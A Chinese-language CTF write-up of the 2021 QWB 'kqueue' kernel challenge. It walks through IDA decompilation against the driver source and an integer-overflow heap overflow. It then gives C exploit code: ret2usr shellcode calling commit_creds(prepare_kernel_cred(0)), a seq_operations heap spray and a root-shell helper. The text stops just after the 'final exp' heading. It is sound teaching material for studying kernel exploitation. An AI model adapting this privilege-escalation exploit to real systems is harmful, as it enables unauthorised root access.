结合源码深入理解ida反编译的内核的变化
顺便学习一下过时的ret2usr以及heapoverflow
heap_overflow
这些天主要是在扩充知识栈
我们先去学习一下之前延误的内核堆溢出
题目附件下载
题目来自
强网杯2021线上赛 - notebook
通过网盘分享的文件:Handout.zip
链接: https://pan.baidu.com/s/1cMFXRZ0yvlmnSrBPNZz6GA?pwd=aaaa 提取码: aaaa
--来自百度网盘超级会员v4的分享
我们经过几分钟的环境配置,先把基础的环境的配置弄好
打包脚本的话也在前期的文章中也讲解了
对了这个账号密码也需要补充一下,找了老久老久了
这道题的文件系统用 Buildroot 进行构建,登入用户名为 ctf,密码为 kqueue
利用原理
我们一开始直接上手的题目是全保护,跳过了ret2usr,这里我们顺便把ret2usr的原理补充上,heapoverflow的实现需要堆风水,大量堆喷目标结构体即可,后续我们的exp也是有概率通,因为堆布局并不是很稳定。
背景
ret2usr通过控制流劫持返回用户空间执行代码,而heapoverflow则通过内核堆内存破坏实现权限提升。
ret2usr原理
我们补充一下ret2usr利用原理
ret2usr(return-to-user)是一种内核漏洞利用技术,其核心思想是让处于内核态(ring0)的执行流程返回到用户态(ring3)执行攻击者提供的代码。在未启用SMEP(Supervisor Mode Execution Prevention)保护的系统中,攻击者可以直接通过rop链(return-oriented programming)劫持内核执行流,执行commit_creds(prepare_kernel_cred(0))等提权函数,然后使用iretq指令返回用户空间 。这一过程需要精确控制内核栈,构造正确的rop链,并设置iretq指令所需的寄存器值。
ret2usr攻击的关键在于劫持内核控制流并返回用户态执行代码。在内核态执行时,攻击者可以访问用户空间的内存区域,因此只需在用户空间布置好恶意代码,然后让内核执行iretq指令返回到该地址即可。iretq指令的执行需要特定的栈布局:RIP(指令指针)、CS(代码段选择子)、RFLAGS(标志寄存器)、RSP(堆栈指针)和SS(堆栈段选择子)。这些值需要在rop链中精心构造,确保执行iretq后能够正确返回到用户空间的恶意代码处。
在利用过程中,攻击者通常需要先执行一些内核函数来提升权限,例如commit_creds(prepare_kernel cred(0)),然后再返回用户空间执行自己的代码。这需要在rop链中包含这些函数的地址,并通过参数传递正确设置。例如,prepare_kernel cred(0)会创建一个root权限的kernel cred结构,commit_creds会将当前进程的权限设置为该kernel cred的权限。
heapoverflow原理
heapoverflow(堆溢出)是内核漏洞中的一种常见类型,主要表现为内核态堆内存越界写入。在Linux内核中,堆内存管理主要由SLUB(Scalable Low Overhead Usercopy)分配器负责,它采用slab缓存机制管理小块内存(通常小于8192字节 。heapoverflow漏洞通常发生在内核函数使用copy_from_user等函数从用户空间复制数据到内核缓冲区时,未正确校验用户提供的数据长度,导致数据写入超出kmalloc/kfree分配的缓冲区范围。
kmalloc/kfree机制是内核堆管理的基础。kmalloc函数用于分配内核堆内存,其原型为void *kmalloc(size_t size, gfp_t flags) 。其中,size参数指定要分配的内存大小,flags参数指定内存分配的特性(如是否可以睡眠)。kmalloc内部会根据分配大小选择合适的slab缓存,并从缓存中获取空闲对象。在SLUB分配器中,kmalloc分配的内存对象可能被缓存在CPU局部缓存(kmem_cache_cpu)或全局部分链表(partial链表)中,释放后对象会被重新加入缓存。
用户数据复制过程是heapoverflow漏洞的典型触发点。copy_from_user函数用于将用户空间的数据复制到内核空间,其原型为unsigned long copy_from_user(void *to, const void __user *from, unsigned long n) 。该函数首先验证用户地址的有效性,然后复制数据到内核缓冲区。如果内核函数在验证用户数据后,未将数据一次性复制到内核空间,而是分两次读取或复制,攻击者可能在两次操作之间修改数据,导致后续复制超出分配的缓冲区范围。
内核堆溢出的利用链通常包括以下几个步骤:首先,通过kmalloc分配一个内核堆对象;然后,通过越界写入覆盖相邻对象的函数指针或关键数据;最后,触发内核对该被篡改对象的访问,从而执行恶意代码 。
题目分析
这个题目给了我们的源码,我们知道,ida给我们分析内核的时候,是参数是及其混乱的,我们这次结合源码探索为什么混乱的原因
直接看ida还原之后的,我们通过阅读源码可以知道request的结构体如下
typedef struct{
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char* data;
}request_t;我们写个idapython导入结构体
# -*- coding: utf-8 -*-
# IDAPython: add request_t into Local Types (no ida_struct).
# Will NOT fail hard if it already exists / duplicate.
import idc
import ida_kernwin
BAD = idc.BADADDR
def try_set_local_type(decl):
try:
slot = idc.set_local_type(-1, decl, idc.PT_TYP)
if slot == 0:
print("[!] set_local_type failed (maybe duplicate or parse error).")
return False
print("[+] set_local_type ok (slot=%d)" % slot)
return True
except Exception as e:
print("[!] set_local_type exception: %s" % e)
return False
def struc_exists(name):
try:
sid = idc.get_struc_id(name)
return sid not in (BAD, -1)
except Exception:
return False
def ensure_struct(tag, decl_stdint, decl_builtin):
print("\n== ensure struct: %s ==" % tag)
if struc_exists(tag):
print("[i] %s already exists, skip import." % tag)
return True
if try_set_local_type(decl_stdint):
print("[i] %s imported (stdint)." % tag)
return True
if try_set_local_type(decl_builtin):
print("[i] %s imported (builtin)." % tag)
return True
print("[!] %s import failed." % tag)
return False
# best-effort typedefs (safe to rerun)
print("== typedef stdint-like aliases (best-effort) ==")
try_set_local_type("typedef unsigned __int16 uint16_t;")
try_set_local_type("typedef unsigned __int32 uint32_t;")
try_set_local_type("typedef unsigned __int64 uint64_t;")
decl_request_stdint = """
typedef struct request_t {
uint32_t max_entries;
uint16_t data_size;
uint16_t entry_idx;
uint16_t queue_idx;
char *data;
} request_t;
"""
decl_request_builtin = """
typedef struct request_t {
unsigned __int32 max_entries;
unsigned __int16 data_size;
unsigned __int16 entry_idx;
unsigned __int16 queue_idx;
char *data;
} request_t;
"""
ok = ensure_struct("request_t", decl_request_stdint, decl_request_builtin)
if ok:
ida_kernwin.info("Done: request_t ensured in Local Types.\nReopen Hex-Rays view if needed.")
else:
ida_kernwin.warning("Failed to import request_t. Check Output window for parse errors.")之后我们手动还原一下,注意这里的类型是直接就是这个结构体的名称,后面不加星号,还原之后的代码如下
可以看到中间有很多用不到的结构体
__int64 __fastcall kqueue_ioctl(__int64 a1, unsigned int a2, __int64 arg)
{
__int64 v4; // rdx
__int64 v5; // rcx
__int64 v6; // r8
__int64 v7; // r9
__int64 kqueue; // rbp
request_t request; // [rsp+0h] [rbp-38h] BYREF
unsigned __int64 v11; // [rsp+18h] [rbp-20h]
v11 = __readgsqword(0x28u);
mutex_lock(&operations_lock);
if ( copy_from_user(&request, arg, 24) )
err("[-] copy_from_user failed");
if ( a2 == -626135314 )
{
kqueue = edit_kqueue(&request, arg, v4, v5, v6, v7, *&request.max_entries, request.queue_idx, request.data);
}
else if ( a2 > 0xDAADEEEE )
{
kqueue = -1;
if ( a2 == -559038242 )
kqueue = create_kqueue(&request, arg, v4, v5, v6, v7, *&request.max_entries);
}
else if ( a2 == -1325024578 )
{
kqueue = save_kqueue_entries(&request, arg, v4, v5, v6, v7, *&request.max_entries, request.queue_idx);
}
else if ( a2 == -1159869698 )
{
kqueue = delete_kqueue(&request, arg, v4, v5, v6, v7, *&request.max_entries, request.queue_idx);
}
else
{
kqueue = -1;
}
mutex_unlock(&operations_lock);
return kqueue;
}然后我们审计一下create_kqueue,保持惯例
我们通过阅读源码,request里面也是有两个结构体
一个是
typedef struct{
uint16_t data_size;
uint64_t queue_size; /* This needs to handle larger numbers */
uint32_t max_entries;
uint16_t idx;
char* data;
}queue;另外一个是
struct queue_entry{
uint16_t idx;
char *data;
queue_entry *next;
};我们继续写个idapython导入一下这里的结构体
# -*- coding: utf-8 -*-
import idc
import ida_kernwin
BAD = idc.BADADDR
def try_set_local_type(decl):
try:
slot = idc.set_local_type(-1, decl, idc.PT_TYP)
if slot == 0:
print("[!] set_local_type failed (maybe duplicate or parse error).")
return False
print("[+] set_local_type ok (slot=%d)" % slot)
return True
except Exception as e:
print("[!] set_local_type exception: %s" % e)
return False
def struc_exists(name):
try:
sid = idc.get_struc_id(name)
return sid not in (BAD, -1)
except Exception:
return False
def ensure_struct(tag, decl_stdint, decl_builtin):
"""
分开导入:如果 struct 已存在 -> 直接成功
否则先试 stdint 版,失败再回退 builtin 版
"""
print("\n== ensure struct: %s ==" % tag)
if struc_exists(tag):
print("[i] %s already exists, skip import." % tag)
return True
if try_set_local_type(decl_stdint):
print("[i] %s imported (stdint)." % tag)
return True
if try_set_local_type(decl_builtin):
print("[i] %s imported (builtin)." % tag)
return True
print("[!] %s import failed." % tag)
return False
def set_type_if_exists(sym_name, c_decl):
ea = idc.get_name_ea_simple(sym_name)
if ea in (BAD, -1):
print("[i] symbol not found: %s" % sym_name)
return False
try:
ok = idc.SetType(ea, c_decl)
print("[+] SetType: %s := %s ok=%s" % (sym_name, c_decl, bool(ok)))
return bool(ok)
except Exception as e:
print("[!] SetType exception: %s err=%s" % (sym_name, e))
return False
# ---------------------------------------
# 0) (Optional but recommended) typedefs
# 避免 stdint 版因为缺 uint32_t/uint64_t 导入失败
# 重复声明失败没关系
# ---------------------------------------
print("== typedef stdint-like aliases (best-effort) ==")
try_set_local_type("typedef unsigned __int16 uint16_t;")
try_set_local_type("typedef unsigned __int32 uint32_t;")
try_set_local_type("typedef unsigned __int64 uint64_t;")
# ---------------------------------------
# 1) queue_entry (SEPARATE)
# ---------------------------------------
decl_queue_entry_stdint = """
typedef struct queue_entry {
uint16_t idx;
char *data;
struct queue_entry *next;
} queue_entry;
"""
decl_queue_entry_builtin = """
typedef struct queue_entry {
unsigned __int16 idx;
char *data;
struct queue_entry *next;
} queue_entry;
"""
# ---------------------------------------
# 2) queue (SEPARATE)
# ---------------------------------------
decl_queue_stdint = """
typedef struct queue {
uint16_t data_size;
uint64_t queue_size; /* This needs to handle larger numbers */
uint32_t max_entries;
uint16_t idx;
char *data;
} queue;
"""
decl_queue_builtin = """
typedef struct queue {
unsigned __int16 data_size;
unsigned __int64 queue_size; /* This needs to handle larger numbers */
unsigned __int32 max_entries;
unsigned __int16 idx;
char *data;
} queue;
"""
ok1 = ensure_struct("queue_entry", decl_queue_entry_stdint, decl_queue_entry_builtin)
ok2 = ensure_struct("queue", decl_queue_stdint, decl_queue_builtin)
# ---------------------------------------
# 3) Optional: type the global pointer array
# 不写 MAX_QUEUES,避免宏不存在导致 SetType 失败
# ---------------------------------------
set_type_if_exists("kqueues", "queue *kqueues[];")
if ok1 and ok2:
ida_kernwin.info("Done: queue_entry + queue ensured in Local Types.\nIf Hex-Rays doesn't refresh, reopen the decompile view (F5).")
else:
ida_kernwin.warning("queue/queue_entry ensure failed (or partially). Check Output for parse errors.")还原之后的代码如下
注释这么多的原因是因为我对比源码看了看ida的反编译和源码的区别
ida反编译可能将源码多行合并,也可能将单行拆分我们观察到
我们分析一下create函数
这里申请了很多结构体,第一次申请是为了存储queen结构体,第二次申请是为了存储queen指向的data的结构体,第三个申请的结构体是为了存储queen管理的current_entry结构体,并且第三个申请的结构体是组成了一个单向链表的。
并且还需要要注意这里的分配,我们第一次申请之后的空间是下面这个样子的
chunk#1 (一次 kmalloc 得到的一整块连续内存)
+---------------------------+ <- queue 指针指向这里(queue 头)
| struct queue |
| - data (指针) |
| - max_entries |
| - data_size |
| - queue_size |
+---------------------------+ <- entries 起始地址 = (queue 后面紧跟的区域)
| queue_entry[1] |
| queue_entry[2] |
| ... |
| queue_entry[max_entries] |
+---------------------------+这里的我们的漏洞的用人话说就是
我们一开始传入-1,这个数值并不会触发错误,我们进入edit的流程之后,我们就拥有了近乎无限地址写的功能。
代码的是下面这个部分
queue_size = 24LL * (data_entry_fuone + 1) + 0x20;之后第二次申请的话空间内存的如下图所示
chunk#2
+---------------------------+
| queue->data 指向的 buffer |
| 大小 = request.data_size |
+---------------------------+第三次申请的内存布局如下所示
chunk#3_i (i=1..max_entries)
+---------------------------+
| entry[i].data 的 buffer |
| 大小 = request.data_size |
+---------------------------这样之后,我们就大体上理解了这里的这些代码实现的内存布局
__int64 __fastcall create_kqueue(
__int64 request,
__int64 arg,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
__int64 _max_entries)
{
unsigned int max_entries; // r13d
uint64_t queue_size; // rbx
void *queue__queue___validate((char__)kmalloc(queue_size_GFP_KERNEL)); // rax
queue *queue; // r15
__int64 queue__data___validate((char__)kmalloc(request.data_size_GFP_KE; // rax
queue_entry *prev_entry; // rbx
int i; // ebp
__int64 current_entry__data___(char__)(validate((char__)kmalloc(request; // rax
__int64 n5; // rax
unsigned int n5_1; // ebx
if ( queueCount > 5 ) // if(queueCount > MAX_QUEUES)
err("[-] Max queue count reached");
if ( !_max_entries ) // if(request.max_entries<1)
err("[-] kqueue entries should be greater than 0");
if ( WORD2(_max_entries) > 0x20u ) // if(request.data_size>MAX_DATA_SIZE)
err("[-] kqueue data size exceed");
max_entries = _max_entries + 1;
queue_size = 24LL * (_max_entries + 1) + 0x20;
if ( queue_size > 0x10020 ) // if(queue_size>sizeof(queue) + 0x10000)
err("[-] Max kqueue alloc limit reached");
queue__queue___validate((char__)kmalloc(queue_size_GFP_KERNEL)) = _kmalloc(24LL * (_max_entries + 1) + 0x20, 0xCC0);// queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));
queue = validate(queue__queue___validate((char__)kmalloc(queue_size_GFP_KERNEL)));
queue__data___validate((char__)kmalloc(request.data_size_GFP_KE = _kmalloc(WORD2(_max_entries), 0xCC0);// queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));
queue->data = validate(queue__data___validate((char__)kmalloc(request.data_size_GFP_KE);
queue->data_size = WORD2(_max_entries); // queue->data_size = request.data_size;
queue->max_entries = _max_entries; // queue->max_entries = request.max_entries;
queue->queue_size = queue_size; // queue->queue_size = queue_size;
prev_entry = &queue[1]; // queue_entry* prev_entry = current_entry;queue_entry* current_entry = kqueue_entry;
if ( max_entries > 1 )
{
for ( i = 1; i != max_entries; ++i ) // for(i=1;i<request.max_entries+1;i++){
{
if ( _max_entries != i ) // if(i!=request.max_entries)
prev_entry->next = 0; // prev_entry->next = NULL;
prev_entry->idx = i; // current_entry->idx = i;
current_entry__data___(char__)(validate((char__)kmalloc(request = _kmalloc(WORD2(_max_entries), 0xCC0);// current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));
prev_entry->data = validate(current_entry__data___(char__)(validate((char__)kmalloc(request);
++prev_entry; // prev_entry->next = current_entry;
prev_entry[-1].next = prev_entry; // prev_entry = prev_entry->next;
}
}
for ( n5 = 0; n5 != 5; ++n5 ) // for(j=0;j<MAX_QUEUES;j++){
{
n5_1 = n5;
if ( !kqueues[n5] ) // if(kqueues[j] == NULL)
break;
n5_1 = n5 + 1;
}
if ( n5_1 > 5 ) // if(j>MAX_QUEUES)
err("[-] No kqueue slot left");
kqueues[n5_1] = queue; // kqueues[j] = queue;
++queueCount; // queueCount++;
return 0;
}这里我们的没有源码的话我们着重看着大小去猜测结构体
然后我们看一下save这个有漏洞的函数
重命名之后的如下,是真的难还原,对比着源码都感到很吃力
虽然说还原好之后清晰了很多很多,但是这个还原,额,首先是三个结构体,然后是和源码的具体比对确定结构体的起始位置,最后是ida里局部变量滥用的问题,假如说没有源码,还原起来是真的难
但是也有收获,我们看到了ida还原之后长长识别的哪些是有用的信息,哪些是无用的信息,对于我们的进一步审计有很大的帮助
这个我们从memcpy追溯下去,因为这里的数据不是我们可以直接写上,而是通过拷贝拷贝过去的
__int64 __fastcall save_kqueue_entries(
request_t *request,
__int64 arg,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
request_t *_max_entries,
unsigned __int16 queue_idx)
{
queue *queue; // rax
queue *queue_1; // r13
__int64 new_queue; // rax
char *new_queue_; // rbp
char *src; // rsi
char *new_queue_1; // rbp
unsigned int max_entries; // r14d
queue_entry *kqueue_entry; // rbx
unsigned int i; // r12d
char *kqueue_entry_1; // rsi
if ( queue_idx > 5u )
err("[-] Invalid kqueue idx");
if ( isSaved[queue_idx] )
err("[-] Queue already saved");
queue = validate(kqueues[queue_idx]);
queue_1 = queue;
if ( !_max_entries || queue->max_entries < _max_entries )
err("[-] Invalid entry count");
new_queue = kzalloc(queue->queue_size, 0xCC0);
new_queue_ = validate(new_queue);
if ( WORD2(_max_entries) > queue_1->queue_size )
err("[-] Entry size limit exceed");
src = queue_1->data;
if ( !WORD2(_max_entries) || !src )
err("[-] Internal error");
memcpy(new_queue_, src, WORD2(_max_entries));
validate(new_queue_);
new_queue_1 = &new_queue_[queue_1->data_size];
max_entries = _max_entries + 1;
kqueue_entry = &queue_1[1];
if ( queue_1 != -32LL && max_entries > 1 )
{
i = 1;
do
{
kqueue_entry_1 = kqueue_entry->data;
if ( !kqueue_entry_1 )
break;
memcpy(new_queue_1, kqueue_entry_1, WORD2(_max_entries));
validate(new_queue_1);
kqueue_entry = kqueue_entry->next;
new_queue_1 += queue_1->data_size;
++i;
if ( !kqueue_entry )
break;
}
while ( i < max_entries );
}
isSaved[queue_idx] = 1;
return 0;
}而这个save的溢出需要edit写入数据
主要是从用户空间拷贝数据到指定 queue_entry->size,如果给的 entry_idx为 0 则拷到 queue->data
__int64 __fastcall edit_kqueue(
int p__max_entries,
int arg,
int a3,
int a4,
int a5,
int a6,
request_t *_max_entries,
unsigned __int16 n5,
void *src)
{
queue *idx; // r12
queue *v10; // rbx
unsigned int v11; // ebp
void *v13; // rax
uint16_t n; // ax
void *v15; // rax
if ( n5 > 5u )
err("[-] Invalid kqueue idx");
idx = kqueues[n5];
if ( !idx )
err("[-] kqueue does not exist");
if ( HIWORD(_max_entries) > idx->max_entries )
err("[-] Invalid kqueue entry_idx");
v10 = idx + 1;
exists = 0;
if ( idx->max_entries + 1 > 1 )
{
v11 = 1;
do
{
if ( v10 && src && idx->data_size && v10->data_size == HIWORD(_max_entries) )
{
v13 = memcpy(v10->queue_size, src, idx->data_size);
validate(v13);
exists = 1;
}
v10 = *&v10->max_entries;
++v11;
}
while ( idx->max_entries + 1 > v11 );
if ( src == 0 || HIWORD(_max_entries) != 0 )
return -(exists == 0) & 0xFFFFFFFFFFFFFFFDLL;
if ( !v10 )
return -(exists == 0) & 0xFFFFFFFFFFFFFFFDLL;
n = idx->data_size;
if ( !idx->data_size )
return -(exists == 0) & 0xFFFFFFFFFFFFFFFDLL;
goto LABEL_20;
}
if ( src == 0 || HIWORD(_max_entries) != 0 || idx == -32LL )
return -3;
n = idx->data_size;
if ( idx->data_size )
{
LABEL_20:
v15 = memcpy(idx->data, src, n);
validate(v15);
return 0;
}
return -3;
}这个是delete函数,一看就知道没有uaf,我这里是只能看汇编
.text:0000000000000030 delete_kqueue proc near ; CODE XREF: kqueue_ioctl+74↓p
.text:0000000000000030 push rbp
.text:0000000000000031 push rbx
.text:0000000000000032 movzx ebx, word ptr [rsp+20h]
.text:0000000000000037 cmp bx, 5
.text:000000000000003B ja short loc_80
.text:000000000000003D
.text:000000000000003D loc_3D: ; CODE XREF: delete_kqueue+5C↓j
.text:000000000000003D movzx ebp, bx
.text:0000000000000040 movzx ebx, bx
.text:0000000000000043 mov rbx, ds:kqueues[rbx*8]
.text:000000000000004B test rbx, rbx
.text:000000000000004E jz short loc_8E
.text:0000000000000050 mov rdi, rbx ; CODE XREF: .text:000000000000009A↓j
.text:0000000000000050 ; s
.text:0000000000000053 call kfree ; PIC mode
.text:0000000000000058 mov rdx, [rbx+8]
.text:000000000000005C mov esi, 0 ; c
.text:0000000000000061 mov rdi, rbx ; s
.text:0000000000000064 call memset ; PIC mode
.text:0000000000000069 movsxd rbp, ebp
.text:000000000000006C
.text:000000000000006C loc_6C: ; DATA XREF: delete_kqueue:loc_6C+3↑r
.text:000000000000006C ; delete_kqueue+4C↓r
.text:000000000000006C mov ds:kqueues[rbp*8], 0
.text:0000000000000078 mov eax, 0
.text:000000000000007D pop rbx
.text:000000000000007E pop rbp
.text:000000000000007F retn漏洞利用
前面我们分析可以知道,这里是有一个整数的溢出的,我们传图我们的entry的数目为-1的时候,后续是正好申请0个entry,这里的idx是很多的,可以理解成heap oob这个类型的利用题目
这里我们的利用的0x18的结构体,这个题目我们可以继续以前的利用,利用seq_opeaations进行劫持
seq_operations这个结构体在前文已经详细讲解了,这里不过多讲解
链接如下
内核seq_operation+pt_regs结构体组合利用学习-先知社区
但是这里我们有个问题,我们没法做到准确的溢出修改seq_operations,对于这个情况,我们可以大量堆喷,在内核空间中喷射足够多的结构体填充满那个区域即可
我们可以看一下保护
#!/bin/bash
#stty intr ^]
stty sane
exec qemu-system-x86_64 \
-cpu kvm64 \
-m 512 \
-nographic \
-kernel "bzImage" \
-append "console=ttyS0 oops=panic panic=-1 pti=off kaslr quiet" \
-monitor /dev/null \
-initrd "./rootfs.cpio" \
-s除了aslr,其他的都没有开启。
这里可以给我们补充一下ret2usr,而不用去找内核的片段的
脚本编写
很长时间没写了,我们首先先把通用的脚本模版贴上去
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <signal.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/xattr.h>
#include <sched.h>
#include <sys/prctl.h>
#include <ctype.h>
#define u8 unsigned char
#define s8 char
#define u16 unsigned short
#define s16 short
#define u32 unsigned int
#define s32 int
#define u64 unsigned long
#define s64 long
#define PAGE_SIZE 4096
#define info1(color, msg) info_impl(color, msg, 0, 0)
#define info2(color, msg, val) info_impl(color, msg, 1, (size_t)(val))
//但 C 语言 不支持函数重载(不能有两个同名函数参数不同),所以要用 宏技巧 模拟。
#define info(...) _GET_INFO_MACRO(__VA_ARGS__, info2, info1)(__VA_ARGS__)
//这在 C 语言中是一种常见的“模拟函数重载”的技巧。虽然看起来有点绕,但它是标准且有效的写法。
#define _GET_INFO_MACRO(_1,_2,_3,NAME,...) NAME
//怎么做到的?靠 _GET_INFO_MACRO 的参数匹配技巧。
typedef enum { BLUE, RED, YELLOW, PINK, WHITE,GREEN,RESET } color_t;
static const char* color_code(color_t c) {
switch(c) {
case BLUE: return "\033[34m";
case RED: return "\033[31m";
case YELLOW: return "\033[33m";
case PINK: return "\033[35m";
case WHITE: return "\033[37m";
case GREEN: return "\x1b[32m";
case RESET: return "\x1b[0m";
default: return "\033[0m";
}
}
static inline void info_impl(color_t c, const char *msg, int has_val, size_t val) {
if (has_val) {
printf("\033[1m%s[+] %s ===> \033[0m0x%lx\n", color_code(c), msg, val);
} else {
printf("\033[1m%s[*] %s\033[0m\n", color_code(c), msg);
}
}
//如果 has_val == 1:打印带 ===> 0x... 的格式(用于地址、数值)
void errExit(char *msg){printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);exit(EXIT_FAILURE);}
//这个退出的时候是红色字体也是写好了
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}
size_t user_cs,user_ss,user_rflags,user_sp;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*] saved");
}//保存寄存器指令
void get_shell(){
system("/bin/sh");
}我们写一下最后的提权需要执行的汇编指令,这个省去查找内核这么麻烦了
这里我们的rip的变量名和实际意义重合了,我们重命名一下就没事了
void shellcode()
{
__asm__(
"mov r12,[rsp + 0x8];"
"sub r12,0x201179;"
"mov r13,r12;"
"add r12,0x8c580;"
"add r13,0x8c140;"
"xor rdi,rdi;"
"call r12;"
"mov rdi,rax;"
"call r13;"
"swapgs;"
"mov r14,user_ss;"
"push r14;"
"mov r14,user_sp;"
"push r14;"
"mov r14,user_rflags;"
"push r14;"
"mov r14,user_cs;"
"push r14;"
"mov r14,rip;"
"push r14;"
"iretq;"
);
}然后我们去写一下这个题目的结构体
我们传入的是传这个结构体就行,这个结构体会自动的解析成我们需要交互的那个结构体
typedef struct{
u32 max_entries;
u16 data_size;
u16 entry_idx;
u16 queue_idx;
char* data;
}request_t;然后我们定义具体ioctl所需要的结构体,完善一下交互
u64 dev_fd;
u64 rip;
void create(u32 max_entries,u16 data_size)
{
request_t req =
{
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(dev_fd,0xDEADC0DE,&req);
}
void edit(u16 queue_idx,u16 entry_idx,s8 *data)
{
request_t req =
{
.queue_idx = queue_idx,
.entry_idx = entry_idx,
.data = data,
};
ioctl(dev_fd,0xDAADEEEE,&req);
}
void delete(u16 queue_idx)
{
request_t req =
{
.queue_idx = queue_idx,
};
ioctl(dev_fd,0xBADDCAFE,&req);
}
void save(u16 queue_idx,u32 max_entries,u16 data_size)
{
request_t req =
{
.queue_idx = queue_idx,
.max_entries = max_entries,
.data_size = data_size,
};
ioctl(dev_fd,0xB105BABE,&req);
}然后我们写main函数,我们先把框架建立起来
我们用rip存储我们实际提权的地址了,data全部存储指向我们用户身份提权的代码的指针
int main()
{
u64 seq_fd[0x200];
u64 *page;
u64 data[0x20];
save();
rip = (u64)get_shell;
dev_fd = open("/dev/kqueue",O_RDONLY);
if(dev_fd < 0)
errExit("fail to open the dev");
for(int i = 0;i < 0x20;i++)
{
data[i] = (u64)shellcode;
}
}然后我们写入queue中,顺便堆喷seq_operations这个结构体,和我们一开始分析的一样
create(0xffffffff,0x20*8);
edit(0,0,data);
for(int i = 0;i < 0x200;i++){
seq_fd[i] = open('/proc/self/stat',O_RDONLY);
}
save(0,0,0x40);最后我们触发这个被覆写的结构体,这里的触发原理我们之前的那篇文章也讲到过了
for(int i = 0; i < 0x200;i++)
{
read(seq_fd[i],data,1);
}最后我们运行就能获取shell
然后我们运行的时候发现给了这些错误提示
if ( WORD2(data_entry_fuone) > 0x20u ) // if(request.data_size>MAX_DATA_SIZE)
err("[-] kqueue data size exceed"); if ( !_max_entries || queue->max_entries < _max_entries )
err("[-] Invalid entry count"); if ( WORD2(_max_entries) > queue_1->queue_size )
err("[-] Entry size limit exceed");只要不影响程序执行的报错提示不是报错
附上这个题目的gdb脚本,我们调试一下哪里出现了问题
#!/bin/sh
gdb -q \
-ex "target remote localhost:1234" \
-ex "info b" 调试讲解
这里讲解一下调试的细节吧
比如说和这个,这个是没有关闭aslr导致的
0xffffffff90000000 0xffffffff90e02000 r-xp e02000 0 [pt_ffffffff90000]
0xffffffff90e02000 0xffffffff91000000 rw-p 1fe000 0 [pt_ffffffff90e02]
0xffffffff91000000 0xffffffff91348000 r--p 348000 0 [pt_ffffffff91000]
0xffffffff91348000 0xffffffff91afd000 rw-p 7b5000 0 [pt_ffffffff91348]
0xffffffff91afd000 0xffffffff91afe000 r--p 1000 0 [pt_ffffffff91afd]
0xffffffff91afe000 0xffffffff91e00000 rw-p 302000 0 [pt_ffffffff91afe]
0xffffffffc024c000 0xffffffffc024d000 r-xp 1000 0 [pt_ffffffffc024c]
0xffffffffc024d000 0xffffffffc024e000 r--p 1000 0 [pt_ffffffffc024d]
0xffffffffc024e000 0xffffffffc0250000 rw-p 2000 0 [pt_ffffffffc024e]
0xffffffffff5fb000 0xffffffffff5fd000 rw-p 2000 0 [pt_ffffffffff5fb]关闭了之后是这样的,这样之后我们就可以在我们的驱动上打断点去研究了
0xffffff67001f2000 0xffffff67001f3000 r--p 1000 0 [pt_ffffff67001f2]
0xffffffff81000000 0xffffffff81e02000 r-xp e02000 0 [pt_ffffffff81000]
0xffffffff81e02000 0xffffffff82000000 rw-p 1fe000 0 [pt_ffffffff81e02]
0xffffffff82000000 0xffffffff82348000 r--p 348000 0 [pt_ffffffff82000]
0xffffffff82348000 0xffffffff82afd000 rw-p 7b5000 0 [pt_ffffffff82348]
0xffffffff82afd000 0xffffffff82afe000 r--p 1000 0 [pt_ffffffff82afd]
0xffffffff82afe000 0xffffffff82e00000 rw-p 302000 0 [pt_ffffffff82afe]
0xffffffffc0000000 0xffffffffc0001000 r-xp 1000 0 [pt_ffffffffc0000]
0xffffffffc0001000 0xffffffffc0002000 r--p 1000 0 [pt_ffffffffc0001]
0xffffffffc0002000 0xffffffffc0004000 rw-p 2000 0 [pt_ffffffffc0002]
0xffffffffff5fb000 0xffffffffff5fd000 rw-p 2000 0 [pt_ffffffffff5fb]这里可以加载ko文件的调试符号进行调试,也可以手动从0xffffffffc0001000这个偏移上进行加减调试
然后的我们也可以进行exp脚本的用户态地址调试,这里需要我们打印好函数的地址
比如说我们确定一下全局数组的位置,这里ida里的数组的地址是没有展开的,具体的位置需要我们动态调试确定
.text:0000000000000343
.text:0000000000000343 loc_343:
.text:0000000000000343 mov ebx, ebx
.text:0000000000000345 mov ds:kqueues[rbx*8], r15
.text:000000000000034D add cs:queueCount, 1
.text:0000000000000355 mov eax, 0
.text:000000000000035A pop rbx
.text:000000000000035B pop rbp
.text:000000000000035C pop r12
.text:000000000000035E pop r13
.text:0000000000000360 pop r14
.text:0000000000000362 pop r15
.text:0000000000000364 retn我们打断点到(0xffffffffc0000000+0x343)的位置可以确定,这个题的全局变量的地址是下面这个
也就是0xffffffffc0002548这个位置上存储的是我们全局变量的地址,可以看到这个全局变量存储的地址的
效果的是给我打印出来这个
shellcode addr = 0x4013fd我们可以执行到shellcode,说明我们的判断是没有问题的
内联上下面这个汇编指令就行
__asm__("add rsp,8");我们提权的时候可以用这个,打印身份信息,这个挺不错的
void getRootShell(void)
{
puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");
if(getuid())
{
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
exit(-1);
}
puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
__asm__("add rsp,8");
system("/bin/sh");
exit(0);// to exit the process normally instead of segmentation fault
}之后我们就可以顺利的利用这个结构体进行提权了
这里不得不说保护关了是真的好做,内核基址不用泄露都能去做,很舒服。
最终exp如下
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
